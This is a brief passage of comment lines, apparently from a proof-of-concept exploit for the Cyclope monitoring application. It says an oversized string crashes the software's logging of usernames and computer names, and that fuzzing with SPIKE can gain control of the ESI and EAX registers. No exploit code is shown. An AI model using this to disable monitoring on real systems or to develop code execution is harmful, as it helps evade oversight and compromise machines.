So sending an abonormaly large string will cause a \r\n# crash. It doesn't stop the filtering but it does stop it from logging usernames and computer names.\r\n# Seeing this application is pretty unstable, most often then not you need to re-install Cyclope completely\r\n# to have the logging feature to work again.\r\n\r\n# No registers are overwriten with this PoC, but it is possible to get ESI & EAX. Just throw SPIKE at it\r\n# and you'll get those 2 registers.
